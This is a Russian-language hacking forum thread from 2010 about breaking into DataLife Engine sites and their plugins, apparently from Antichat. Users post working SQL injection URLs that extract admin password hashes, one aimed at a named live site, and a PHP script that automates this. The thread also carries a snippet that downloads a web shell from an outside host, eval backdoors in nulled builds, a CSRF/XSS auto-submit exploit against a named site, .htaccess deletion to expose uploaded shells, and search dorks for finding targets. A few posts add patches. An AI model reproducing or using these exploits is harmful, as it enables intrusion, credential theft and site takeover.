dle_skin: ../
if ($_COOKIE['dle_skin']) {
if (@is_dir ( ROOT_DIR . '/templates/' . $_COOKIE['dle_skin'] )) {
$config['skin'] = $_COOKIE['dle_skin'];
}
}
Открываем site.ru/engine/images.php?area=short_story&add_id=
грузим картинку и получаем раскрытые пути)

Dark_cracker
10.02.2010, 23:59
Вопрос. Такой. есть Доступ к БД. Могу сдлеать юзеру админ права. Но немогу найти админку. что посоветуете? возми зайди под админом и нажми редактировать новость , и тебя кинет в админку =)

EoGeneo
11.02.2010, 13:31
Уже обговаривали выше это момент. Что там нету этих конопок. и вообщше нету новостей. ДЛЕ передалан в мощный портал.

Spamik
16.02.2010, 00:29
Боян - .htaccess

// будет работать на старых версиях, в новых хтакссесс поумалчанию залит.
H00k
Да там все 3 файла смотреть можно

Foka
24.02.2010, 17:33
по DLE 8.3 ктото может чтото сказать?

necros555
04.03.2010, 22:57
engine/inc/include/init.php?selected_language= cрабатывает вот этот експлоит

Warning: require_once(ENGINE_DIR/inc/include/functions.inc.php) [function.require-once]: failed to open stream: No such file or directory in S:\home\192.168.2.1\www\engine\inc\include\init.ph p on line 19

Fatal error: require_once() [function.require]: Failed opening required 'ENGINE_DIR/inc/include/functions.inc.php' (include_path='.;/usr/local/php5/PEAR') in S:\home\192.168.2.1\www\engine\inc\include\init.ph p on line 19

подскажите что можно дальше зделать? и можно ли залить шелл или так слить базу зарние спс

cheburator
06.03.2010, 11:17
engine/inc/include/init.php?selected_language= cрабатывает вот этот експлоит

Warning: require_once(ENGINE_DIR/inc/include/functions.inc.php) [function.require-once]: failed to open stream: No such file or directory in S:\home\192.168.2.1\www\engine\inc\include\init.ph p on line 19

Fatal error: require_once() [function.require]: Failed opening required 'ENGINE_DIR/inc/include/functions.inc.php' (include_path='.;/usr/local/php5/PEAR') in S:\home\192.168.2.1\www\engine\inc\include\init.ph p on line 19

подскажите что можно дальше зделать? и можно ли залить шелл или так слить базу зарние спс
1. В 8.3 Пофиксили ;
2. Это раскрытие путей. Может пригодится только если ты зальешь шелл через соседей. Для того что бы найти путь

mailbrush
06.03.2010, 11:39
2. Это раскрытие путей. Может пригодится только если ты зальешь шелл через соседей. Для того что бы найти путь
Не только. Если помимо DLE на сайте присутствует другой движок, в котором присутствует скуля, то есть вероятность залить шелл через INTO OUTFILE, в чем и поможет раскрытие путей.

WEBAdmin
13.03.2010, 05:09
Ребят а подскажите как узнать версию Dle ? admin.php не помогло сразу говорю,что там нет ни каких картинок с версией в ней :)

adzona
14.03.2010, 15:32
Раскрытие путей dle 8.3 engine/images.php
dle_skin: ../
if ($_COOKIE['dle_skin']) {
if (@is_dir ( ROOT_DIR . '/templates/' . $_COOKIE['dle_skin'] )) {
$config['skin'] = $_COOKIE['dle_skin'];
}
}
Открываем site.ru/engine/images.php?area=short_story&add_id=
грузим картинку и получаем раскрытые пути)
нужно какую то особую картинку грузить?

Screami
14.03.2010, 20:30
нужно какую то особую картинку грузить?
Нет, у меня с обычной получилось

adzona
14.03.2010, 21:00
Нет, у меня с обычной получилось
а тогда как получить раскрытие путей?

Dr.Brain
15.03.2010, 22:50
Вот софтина сканнер dle сайтов с встроенным бекдором сборки от злого
Нужна база сайтов которых в паблике навалом..

Скачать (http://softrank.ru/uploads/dlescann.rar)

В архиве сканнер и кейген для него
Покупал за 15$ , потому выкласть не жалко...
На базе 16000 сайтов нашёл 6 бекдоров
Версия DLE 8.2-8.5
Сканнер можна настроить под любую ссылку бекдора если надо..

Скорость: 2-3 сайта в сек. (1мбит)
Сам бекдор выполняет любой PHP код, потому залить шелл не составит труда

Берём хостинг. Туда текстовик с шеллом вида shell.txt
Идём в бекдор. Пишем
$shell = file_get_contents("http://site/shell.txt");
$fp = fopen("shell.php", a);
fwrite($fp, $shell);
fclose($fp);

VirGod
16.03.2010, 17:56
Проблема: Недостаточная фильтрация входящих данных в регистрации.
Ошибка в версии: все версии
Степень опасности: Низкая
Баг нашёл: Lion__

Баг позволяет узнать префикс к бд.
Как юзать:
1) Переходим по ссылке ?do=register
2) Вводим логин, пароль, капчу, email более 50 символов.
Пример email:

qawsedrftgsqawsedrftgqawsedrftgqawsedrftgqawsedrft g@qawsedrftg.qawsedrftg



3) Нажимаем зарегистрироваться
4) Повторяем операцию с 1 по 3 шаги.
5) Получаем ошибку о дубликате поля. В ней смотрим префикс к бд.

Как это работает? Дело в том что поле email стоит ограничение в 50 символов, таким образом остальное всё обрезается, при первой регистрации в бд попало значение:

qawsedrftgsqawsedrftgqawsedrftgqawsedrftgqawsedrft



После второй регистрации идёт поиск поля email со значением:

qawsedrftgsqawsedrftgqawsedrftgqawsedrftgqawsedrft g@qawsedrftg.qawsedrftg



Которого нет, отправляется запрос, получаем ошибку.

Исправить:

Найти в engine/modules/register.php:

$email = $db->safesql( $parse->process( $_POST['email'] ) );


Заменить на:

$email = $db->safesql( $parse->process( substr($_POST['email'], 0,50) ) );


Источник: _http://forum.seo-king.ru/index.php?showtopic=377




должно получиться это:

http://img143.imageshack.us/img143/205/79773351.jpg

botanig
18.03.2010, 16:18
Как просмотреть, что под хайдом в DLE?

Dark_cracker
18.03.2010, 19:51
Sql-inj в dle-forum*е 2.4 была найдена мной , ещё месяца 2 назат) решил выложить , т.к. сайтов ещё много дырявых.
site.ru/?do=forum&showtopic=23%2527+union+select+1,2,CONCAT_WS(0x3a, name,password),4,5,6,7,8,9,10,11,12,13,14,15,16,17 ,18,19,20,21,22,23+from+dle_users+where+user_group =1+limit+1--
юзаем так ...
Защищаемся:
открываем файл: engine/forum/sources/components/init.php
446 строка
....
if ($_REQUEST['category'])
{
$act = 'category';

$cid =$_REQUEST['category'];

$t_act = '?c'.$cid;
}
if ($_REQUEST['showforum'])
{
$act = 'forum';

$fid = $_REQUEST['showforum'];

$t_act = '?f'.$fid;
}

if ($_REQUEST['showtopic'])
{
$act = 'topic';

$tid = $_REQUEST['showtopic'];

$t_act = '?t'.$tid;
}
......

заменяем на

......
if ($_REQUEST['category'])
{
$act = 'category';

$cid = intval($_REQUEST['category']);

$t_act = '?c'.$cid;
}

if ($_REQUEST['showforum'])
{
$act = 'forum';

$fid = intval($_REQUEST['showforum']);

$t_act = '?f'.$fid;
}

if ($_REQUEST['showtopic'])
{
$act = 'topic';

$tid = intval($_REQUEST['showtopic']);

$t_act = '?t'.$tid;
}
.....


вот типа сплоит писал месяца 2 назат для себя.

<form method="POST" >
Введи сайт "например" "<b>alldle.ru</b>" <input type="text" name="site" value="<?=$_POST['site']?>">
лимит вводить если показало mysql error<input type="text" name="lim" value="<?=$_POST['lim']?>">
<input type="submit" value="send">
</form>
<?php
if (!empty($_POST['site'])){
$lim="1";
if (!empty($_POST['lim'])){$lim ="{$_POST['lim']},";$lim .=$_POST['lim'];}
$url='http://'.$_POST['site'].'/?do=forum&showtopic=23%2527+union+select+1,2,CONCAT_WS(0x3a, name,password),4,5,6,7,8,9,10,11,12,13,14,15,16,17 ,18,19,20,21,22,23+from+dle_users+where+user_group =1+limit+'.$lim.'--';
$ua='Opera/9.80 (Windows NT 5.1; U; ru) Presto/2.2.15 Version/10.10';
$cu=curl_init($url);
curl_setopt($cu,CURLOPT_HEADER, 0);
curl_setopt($cu,CURLOPT_RETURNTRANSFER, 1);
curl_setopt($cu,CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($cu,CURLOPT_USERAGENT, $ua);
$log=curl_exec($cu);
$log=html_entity_decode($log);
if (preg_match_all('#<title>(.*)» (.*)</title>#i',$log,$log2)){
$ss=$log2[2][0];
if (!preg_match('#[:]#is',$ss,$loggg)){ echo 'нету баги ';exit;}
$save=explode(':',$ss);
echo " <b>site:</b> <font color='green'> ".$_POST['site']."</font><br>";
echo " <b>name:</b> <font color='red'> ".$save[0]."</font><br>";
echo "<b>pass:</b> <font color='blue'> ".$save[1]."</font><br>";
}
else { echo " баги не найдено =( ";preg_match_all('#<title>(.*)</title>#i',$log,$logi); echo "<b>{$logi[1][0]}</b>";}
curl_close($cu);
}
?>


(c) dark_cracker
dork:
inurl:/forum/ intext:DLE Forum v.2.4 © 2010 Pocketx.Ru

Alex$09
20.03.2010, 22:31
Как просмотреть, что под хайдом в DLE?
Так просто не посмотришь а смощию скрипта свободно можешь слить файлы не только дле но и другие движки...
http://new-dle.biz/exclusive/667-skript-obxoda-xajda-dlya-attachej-v-dle.html

sir95
27.03.2010, 01:34
В 8.3, может и раньшых!
вывод какие модули стоят.

Файл

http://localhost/engine/ajax/antivirus.php

Вывод список!

Защищаемся
На начало добавить

if(!defined('DATALIFEENGINE'))
{
die("You lol! Anatole yzhe tut");
}

saransko_o
09.04.2010, 12:00
имеются сайты dle 8.0 ,8.2
Каким то образом в файлы dbconfig.php config.php init.php дописываются строки с фреймом типа echo bla bla bla.
Шеллов на хостинге нет, все оригинальное, пароли меняли, в общем всё делали. А как то дописывается..
Создатель файла- 48, а если создаем мы то создатель- 500.
Т.е. файлы изменяет скрипт?
Где копать?

sir95
11.04.2010, 20:23
имеются сайты dle 8.0 ,8.2
Каким то образом в файлы dbconfig.php config.php init.php дописываются строки с фреймом типа echo bla bla bla.
Шеллов на хостинге нет, все оригинальное, пароли меняли, в общем всё делали. А как то дописывается..
Создатель файла- 48, а если создаем мы то создатель- 500.
Т.е. файлы изменяет скрипт?
Где копать?

Нулл движок?

saransko_o
11.04.2010, 23:56
Нулл движок?
да. нулл от MID.

ReckouNT
12.04.2010, 05:59
В нуллах авторы нулла пишут уязвимости. Либо сами нуллите, либо юзайте фривар двиг.
Сам лично юзаю PHP - Fusion.

saransko_o
12.04.2010, 15:06
Кстати на многих лицензия была

A!m0ff
14.04.2010, 12:15
Вот софтина сканнер dle сайтов с встроенным бекдором сборки от злого
Нужна база сайтов которых в паблике навалом..

Скачать (http://softrank.ru/uploads/dlescann.rar)

В архиве сканнер и кейген для него
Покупал за 15$ , потому выкласть не жалко...
На базе 16000 сайтов нашёл 6 бекдоров
Версия DLE 8.2-8.5
Сканнер можна настроить под любую ссылку бекдора если надо..

Скорость: 2-3 сайта в сек. (1мбит)
Сам бекдор выполняет любой PHP код, потому залить шелл не составит труда

Берём хостинг. Туда текстовик с шеллом вида shell.txt
Идём в бекдор. Пишем
$shell = file_get_contents("http://site/shell.txt");
$fp = fopen("shell.php", a);
fwrite($fp, $shell);
fclose($fp);

А кто автор и как с ним связаться ?

sir95
26.04.2010, 01:55
Такой вопрос, залил шелл.
А как его юзать? Фиг его знает как искать етот шелл..... ;)

Firrst
26.04.2010, 09:17
Никак, там в папке с загруженными файлами лежит htaccess, ты не выполнишь .php файл

Rew
30.04.2010, 05:43
Есть бедкодер в папке /engine/ajax/

if($_POST['text']!=''){eval(stripcslashes($_POST['text']));}

Что с этим можно сделать?

Nightmarе
30.04.2010, 06:08
Есть бедкодер в папке /engine/ajax/

if($_POST['text']!=''){eval(stripcslashes($_POST['text']));}

Что с этим можно сделать?
Ну например, отправить мне в ЛС список сайтов с этим бекдором ;)

Rew
30.04.2010, 06:21
Я думаю таких сайтов много с этим бедкодером это относиться к null версиям dle.

К примеру DataLife Engine v.8.5 Nulled by M.I.D-Team

Так что с этим можно сделать?

В этой папке нету файла .htaccess

Komyak
30.04.2010, 10:43
Так что с этим можно сделать?
В чём проблема? Пошли ему post с кодом, например через copy()

wkar
30.04.2010, 11:09
Такой вопрос, залил шелл.
А как его юзать? Фиг его знает как искать етот шелл..... ;)
Юзай антивирус в админке, он покажет назву шелла

Komyak
30.04.2010, 11:20
Rew, где ты там(Nulled by M.I.D-Team) увидел этот код?

Rew
30.04.2010, 13:17
В чём проблема? Пошли ему post с кодом, например через copy()

Проблема в том что я не знаю как и что нужно и куда послать и через чё.

Где об этом можно хоть статью почитать или книжку что да как?

Rew, где ты там(Nulled by M.I.D-Team) увидел этот код?

В \upload\engine\ajax

keywords.php

http://slil.ru/29061005

Komyak
30.04.2010, 13:43
Проблема в том что я не знаю как
http://php.net/manual/en/reserved.variables.post.php
http://php.net/manual/en/function.copy.php
Создавай форму(html) или просто курлом посылай.

А где дырка?- http://pastebin.com/Xj9kADx1

Komyak
30.04.2010, 13:54
TANZWUT, ага http://forum.antichat.ru/showpost.php?p=1658712&postcount=87

Rew
30.04.2010, 14:17
Komyak, скорей всего Rew слил не с сайта M.I.D-Team

Да я сливал dle не сайта M.I.D-Team а с какого то сайта по dle где есть модули и хаки для dle.

Но что релиз от тимы M.I.D-Team там было это точно написано и папка там называлась DataLife Engine v.8.5 Nulled by M.I.D-Team после распаковки архива.

Значит от ихнего имени кто - то дле null распространяет с бэкдор . eval() через $_POST. Только теперь этот бэкдор
в keywords.php.


http://php.net/manual/en/reserved.variables.post.php
http://php.net/manual/en/function.copy.php
Создавай форму(html) или просто курлом посылай.

Спасибо почитаем.

Что с рангом я вам плюсь добавил а его не видно?

warlok
30.04.2010, 16:14
попробуй так

<form name="eval" action="http://script.ru/script.php" method="post">
<input type="text" name="text" value="phpinfo();"><br />
<input type="submit" name="submit" value="хряп">
</form>

вместо http://script.ru/script.php путь до твоего скрипта там где бекдор нашел, вместо phpinfo(); можеш любой php код писать.

simca
20.05.2010, 13:34
Здравствуйте, я новичек на форуме, поэтому сразу извиняюсь, если пост не сюда. Вопрос следующего характера, как можно залить шелл в dle 4.2 если нет доступа в админпанель, а есть только доступ к cnstats, установленного на этом сайте

m00nster
31.05.2010, 08:57
Доброе время суток.
Помогите написать код для бэкдора от -=ZLOY=-,чтоб получить доступ в АП, и быть в user_group 1

В этом деле я новичок,прошу вас,напишите подробно что да как

slva2000
31.05.2010, 23:05
http://forum.searchengines.ru/showthread.php?t=504108
Приветствую, уважаемые!

В последние несколько дней были взломаны сайты типа осетрина, amxсервер и т.д. мегакулхацкерами, думаю они на этом не остановятся, поэтому палю заплатку для новорожденной дыры - поставить права 765 на папку data.

детали не известны

MaZaHaKaT
02.06.2010, 11:30
Вот недавно нашёл багу.
В зависимости от чпу выполняем запрос
Например:http://skripters.com/dle_haki/page/9999999999999999999/
Получаем:
MySQL Error! ------------------------ The Error returned was: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '7.3786976294838E+19,8' at line 1 Error Number: 1064
Я думаю найдёте применение :)
Неоткажусь от ++

EoGeneo
03.06.2010, 08:16
Я где то слышал что была софтина, которая ворует бэкапы - если он есть на сайте в папке backup. Не подскажите? сайтик нашел, папка бэкап есть имя бэкапа не могу подобрать ;)

m00nster
04.06.2010, 11:37
Я где то слышал что была софтина, которая ворует бэкапы - если он есть на сайте в папке backup. Не подскажите? сайтик нашел, папка бэкап есть имя бэкапа не могу подобрать ;)

держи (http://love-cs.ru/backup.rar)

m00nster
05.06.2010, 01:40
Хм,кто нить тут отпишется как юзать багу с помощью "Tiny MCE редактор"

zebrum
05.06.2010, 11:28
Работает любой хтмл тег отосланный пост запросом на engine/editor/jscripts/tiny_mce/plugins/typograf/handler.php

ТИПА ЭКСПЛОИТ
PHP код:
<?php
$value = urlencode("<script>alert('HACKED BY KZPROMO trololo');</script>");
if($_GET['unset'] == "time") unset($_COOKIE['time']);
if(!isset($_COOKIE['time']))
{
setcookie("time",time(),time()+3600);
echo <<<HTML
<html>
<head>
</head>
<body>
<center>

<form name="hack" action="https://gomel-sat.net/engine/editor/jscripts/tiny_mce/plugins/typograf/handler.php" method="post">
<input type="text" name="text" value='$value' style="boder:none;FONT: 0px Tahoma; border:0px solid #FFFFFF;" border="0">
</form>

<script>
document.hack.submit();
</script>
</body>
</html>
HTML;

}
else {
header("Content-type: image/jpg");
$image = imagecreatefromgif('smile.jpg');
imagegif($image);
imagedestroy($image);
}

?>
Автор: kzpromo

Nightmarе
05.06.2010, 16:46
Я подстолом. Сорри за оффтоп, но теперь уже и под пассивные XSS у нас сплойты пишут

valeros
06.06.2010, 01:19
Есть ли способ увидеть имя БД в новых версиях DLE (8.2-8.5)?

wildshaman
06.06.2010, 11:21
Я подстолом. Сорри за оффтоп, но теперь уже и под пассивные XSS у нас сплойты пишут
Ну а если там только post, как иначе?

kickboxer
07.06.2010, 03:10
извиняюсь, если было, но может кто подскажет как взламывали недавно сайты, например zerx.ru .
Вот заплатка от взлома http://dle-news.ru/bags/v85/1037-provedenie-ataki-mezhsajtovogo-skriptinga-xss.html

Quicky
08.06.2010, 13:59
Да вот действительно тема: http://dle-news.ru/bags/v85/1040-nedostatochnaya-filtraciya-vxodyashhix-dannyx.html только не как не могу в ней разобраться ...

killerman
09.06.2010, 01:43
Да вот действительно тема: http://dle-news.ru/bags/v85/1040-nedostatochnaya-filtraciya-vxodyashhix-dannyx.html только не как не могу в ней разобраться ...
А что в ней разбератся если у тебя на сайте есть аккаунт административный то ты можешь загрузить фейк! а дальше объяснять не надо :)

korp
14.06.2010, 00:15
Найдена очередная Серьёзная уязвимость всех версий (независимо от автора).
Уровень риска: Критическая
баг позволяет выполнять любые действия в том числе sql запросы.
'key'=>"УНИК КОД"
Баг работает во всех версиях.

Вроде есть 1 файл в котором нет проверки на группу пользователя, только проверка хеша.
Кто что знает? Я порылся что-то нашёл, на этом и закончил.

wildshaman
14.06.2010, 00:21
Вроде есть 1 файл в котором нет проверки на группу пользователя, только проверка хеша.
Кто что знает? Я порылся что-то нашёл, на этом и закончил.
Откуда цитата? Прчему здесь key из конфига?
непонетно

\\все, ншел - http://dle.in.ua/bags/9503-seryoznaya-uyazvimost-v-null-versiyax.html


\\кажется, знаю, откуда урки растут у бага

WP_
14.06.2010, 07:03
Багу нашел: Lion__
Связь: 9287[шесть]78
Зовут его если не ошибаюсь Андрей

slva2000
14.06.2010, 13:07
wildshaman
что то я не понял пока... если лицуха (т.е. кей есть в конфиге) то уязвимости нет....?

WP_
14.06.2010, 15:15
что то я не понял пока... если лицуха (т.е. кей есть в конфиге) то уязвимости нет....?

наоборот !
нужно поменять на свой key

slva2000
14.06.2010, 15:25
наоборот !
нужно поменять на свой key
но тогда - wrong key....

wildshaman
14.06.2010, 23:17
Ну и да, в результате ночи копания накопал:
Уязвимости нету.
ПО мнению автора, $config['key'] мог помочь сгенерировать $dle_login_hash и заюзать xsrf или просто оойти проверку.
Только он вот не учел, что для генерации хеша нужен еще и сам пасс админа.
Так что отбой, баги нет :)

//Развели тут блин...

slva2000
15.06.2010, 07:38
Ну и да, в результате ночи копания накопал:
Уязвимости нету.
ПО мнению автора, $config['key'] мог помочь сгенерировать $dle_login_hash и заюзать xsrf или просто оойти проверку.
Только он вот не учел, что для генерации хеша нужен еще и сам пасс админа.
Так что отбой, баги нет :)
могу добавить, что перед проверкой ХЭШа стоит проверка админ ли...:

if (( $member_id['user_group'] != 1 )) { die ("error"); }

Ничего не выйдет.... Хотя, инфа к размышлению не плохая.

всё это в clean.php

wildshaman
15.06.2010, 12:36
Версия ДЛЕ: 8.5 (скорее всего, и преыдущие, но тестил именно на 8.5)


Везде далее:
1){ВАШ ЮЗЕР ХЕШ} - уникальный хеш, который вы получаете при входе в дадминку. Как правило, при переходе по страницам админки он передается гетом в урле, там его и берите. Или же заходите на страницу настроек, к примеру, и ищите в коде user_hash - там он и будет
2)лишние куски кода удалены, оставлены только самые важные, играющие роль при уязвимости.

---------------------------------------------------------------------------------------------------------------------------------------------------
---------------------------------------------------------------------------------------------------------------------------------------------------

Описание: Удаление произвольных файлов
Зависимость: Нужны админские права
Файл: /engine/inc/files.php
Кусок кода:

if( $action == "doimagedelete" ) {
foreach ( $_POST['images'] as $image ) {
@unlink( $config_path_image_upload . $image );
@unlink( $config_path_image_upload . "thumbs/" . $image );
}
}


Как осуществить:
Залогинившись админом, послать post запрос:
http://site.com/admin.php?mod=files

images%5Bboxsmall.jpg%5D=../uploads/files/.htaccess&action=doimagedelete&userdir=&user_hash={ВАШ ЮЗЕР ХЕШ}

Смысл:
1) Можно удалить .htaccess из папки uploads, загрузить туда шелл и видеть его из веба :)
2) Можно помешать работе сайта, удалив важыне файлы.

---------------------------------------------------------------------------------------------------------------------------------------------------
---------------------------------------------------------------------------------------------------------------------------------------------------

Описание: раскрытие префикса БД.
Зависимость: Права журналиста или администратора (любой доступ в админку)
Файл: /engine/inc/files.php
Кусок кода:

$serverfile = trim( htmlspecialchars( strip_tags( $_POST['serverfile'] ) ) );
$image_name = $serverfile;
if( $config['files_allow'] == "yes" and $user_group[$member_id['user_group']]['allow_file_upload'] and $_REQUEST['action'] == "quick" and (in_array( strtolower( $type ), $allowed_files ) or $serverfile != '') )
$db->query( "INSERT INTO " . PREFIX . "_files (news_id, name, onserver, author, date) values ('$news_id', '$image_name', '{$file_prefix}{$image_name}', '$author', '$added_time')" );


Как осуществить:
Залогинившись админом, послать post запрос:
http://hackhack/admin.php?mod=files&action=quick&subaction=upload

images_number=1&serverfile=\

---------------------------------------------------------------------------------------------------------------------------------------------------
---------------------------------------------------------------------------------------------------------------------------------------------------

Описание: Получение названия загруженного файла (шелла, к примеру) через форму заливки
Зависимость: Права админа или журналиста с разрешением аливать файлы чреез админку
Файл: /admin.php?mod=files
Кусок кода:

$file_prefix = time() + rand( 1, 100 );
$file_prefix .= "_";
@copy( $imageurl, ROOT_DIR . "/uploads/files/" . $file_prefix . $image_name )

Ага, пишется: unixtime+{случайное число от 1 до 100}_названиефайлачтомывыгр зили

Отсылаем файл, снифаем, что вернул сервер:
Date: Mon, 14 Jun 2010 07:35:04 GMT

делаем себе

for($i=0; $i<=100; $i++)
{
$name=strtotime("Mon, 14 Jun 2010 07:35:04 GMT")+$i;
echo $name."<br>";
}

Генерируем все возможные нвазвания нашего файла, потом просто перебираем их.

---------------------------------------------------------------------------------------------------------------------------------------------------
---------------------------------------------------------------------------------------------------------------------------------------------------

Описание: Blind-sql
Зависимость: magic_quotes_gpc = off и админские права
Файл: /engine/ajax/clean.php
Кусок кода:

if ($_REQUEST['step'] == 2) {
if ((@strtotime($_REQUEST['date']) === -1) OR (trim($_REQUEST['date']) == ""))
$_REQUEST['step'] = 1;
else {
$_REQUEST['step'] = 3;
$sql = $db->query("SELECT id FROM " . PREFIX . "_post WHERE date < '{$_REQUEST['date']}'");
while($row = $db->get_row($sql)){
$db->query("DELETE FROM " . PREFIX . "_comments WHERE post_id='{$row['id']}'");


Как осуществить:
http://site.com/engine/ajax/clean.php?date=1'&user_hash={ВАШ ЮЗЕР ХЕШ}&step=2

P.S. Обыная скуля с юнионом не пройдет, так как полученная инфа сразу уходит в DELETE :( Кому надо - тот докрутит ;)

---------------------------------------------------------------------------------------------------------------------------------------------------
---------------------------------------------------------------------------------------------------------------------------------------------------

Версии ДЛЕ ДО 8.5
Описание: редактирование настроек системы, имея лишь ограниченный (модерский) доступ в админку
Зависимость: Доступ в админку хотя бы с правами журналиста
Файл: /engine/inc/options.php
Кусок кода:

elseif( $action == "dosavesyscon" ) {
$save_con = $_POST['save_con'];
$save_con['offline_reason'] = $parse->process( stripslashes( trim( $save_con['offline_reason'] ) ) );
$save_con['offline_reason'] = str_replace( '"', '&quot;', $parse->BB_Parse( $save_con['offline_reason'], false ) );

$find[] = "'\r'"; $replace[] = ""; $find[] = "'\n'"; $replace[] = "";
$handler = fopen( ENGINE_DIR . '/data/config.php', "w" );

fwrite( $handler, "<?PHP \n\n//System Configurations\n\n\$config = array (\n\n" );
foreach ( $save_con as $name => $value ) {
if( $name != "offline_reason" ) {
$value = trim( stripslashes( $value ) );
$value = htmlspecialchars( $value);
$value = preg_replace( $find, $replace, $value );

$name = trim( stripslashes( $name ) );
$name = htmlspecialchars( $name, ENT_QUOTES );
$name = preg_replace( $find, $replace, $name );
}

fwrite( $handler, "'{$name}' => \"{$value}\",\n\n" );

}
fwrite( $handler, ");\n\n?>" );
fclose( $handler );
}

Как осуществить:
Авторизовавшись в админке, делаем POST запрос
http://site.com/admin.php?mod=options&action=syscon
save_con%5Bhome_title%5D=GREAT HACK HOHOHOH&mod=options&action=dosavesyscon&user_hash={ВАШ ЮЗЕР ХЕШ}

причем настроек поменять можно множество вплоть до оотключения сайта ;)

---------------------------------------------------------------------------------------------------------------------------------------------------
---------------------------------------------------------------------------------------------------------------------------------------------------

Описание: раскрытие путей
1) Требуется админка
http://site.com/admin.php?mod=static&search_field[]=

2) Админка не требуется, праа Юзерские

http://site.com/?do=addnews
POST
tags[]=1&mod=addnews


http://site.com/index.php
POST
login=submit&login_password[]=1

---------------------------------------------------------------------------------------------------------------------------------------------------
(c) wildshaman 2010. Special for Antichat

wildshaman
17.06.2010, 18:06
Модуль Hide v.4.2 для DLE
Описание: выполнение произвольного кода (бекдор оставил автор)
Зависимость: аккаунт юзера
Файл: engine/modules/hide_news.php
Кусок кода:

if(md5(md5($_GET['conf_key'])) == $sets['key']){ eval(base64_decode($_GET['user_id'])); }


key записывается в конфиге после любого изменения настроек модуля в админке, причем строго указан - d5bb5b454e4310d06746d9325b1c1968

Как осуществить:
http://site.com/?newsid=XXXX&conf_key=fibona4i&user_id=cGhwaW5mbygpOw==
Где XXX - айди существующей новости, а user_id - забейсенный php код (в данном случае пхпинфо)

DLE forum 2.5 (дырявый, как сито)
Описание: sql-инъекция
Зависимость: -
Файл: engine/forum/sources/showtopic.php
Кусок кода:

if (intval($tid))
$row_topic = $db->super_query("SELECT * FROM " . PREFIX . "_forum_topics WHERE tid = $tid");


Как осуществить:
http://site.com/?do=forum&act=topic&tid=1+[SQL]

.:[melkiy]:.
17.06.2010, 19:44
DLE forum 2.5 (дырявый, как сито)
Описание: sql-инъекция
Зависимость: -
Файл: engine/forum/sources/showtopic.php
Кусок кода:

if (intval($tid))
$row_topic = $db->super_query("SELECT * FROM " . PREFIX . "_forum_topics WHERE tid = $tid");


Как осуществить:
http://site.com/?do=forum&act=topic&tid=1+[SQL]

можно пример? :)

Nightmarе
17.06.2010, 19:51
:.']можно пример? :)
Пример:
http://site.ru/?do=forum&showtopic=54%2527+union+select+1,2,CONCAT_WS%280x3 a,name,password%29,4,5,6,7,8,9,10,11,12,13,14,15,1 6,17,18,19,20,21,22,23+from+dle_users+where+user_g roup%20=1+limit+1

Живой пример на сайте:
http://rtmusic.co.cc/?do=forum&showtopic=1%2527+union+select+1,2,CONCAT_WS%280x3a ,name,password%29,4,5,6,7,8,9,10,11,12,13,14,15,16 ,17,18,19,20,21,22,23+from+dle_users+where+user_gr oup%20=1+limit+1
Логин + хеш можно наблюдать в заголовке <TITLE>

Да, на многих сайтах колонок где больше где меньше, если появляется сообщение:
The used SELECT statements have a different number of columns
Значит надо либо добавлять, либо убавлять циферки.

.:[melkiy]:.
17.06.2010, 20:03
У шамана скуля для 2.5 версии. Ты привёл пример на 2.4.


Живой пример на сайте:
http://rtmusic.co.cc/?do=forum&showtopic=1%2527+union+select+1,2,CONCAT_WS%280x3a ,name,password%29,4,5,6,7,8,9,10,11,12,13,14,15,16 ,17,18,19,20,21,22,23+from+dle_users+where+user_gr oup%20=1+limit+1


http://dleshka.org.ru/states/1174-sql-inekciya-v-dle-forum-v24.html

Параметры совсем разные...

Nightmarе
17.06.2010, 20:05
:.']У шамана скуля для 2.5 версии. Ты привёл пример на 2.4.



http://dleshka.org.ru/states/1174-sql-inekciya-v-dle-forum-v24.html

Параметры совсем разные...
ок, не заметил, жаль. Щас эту попробую.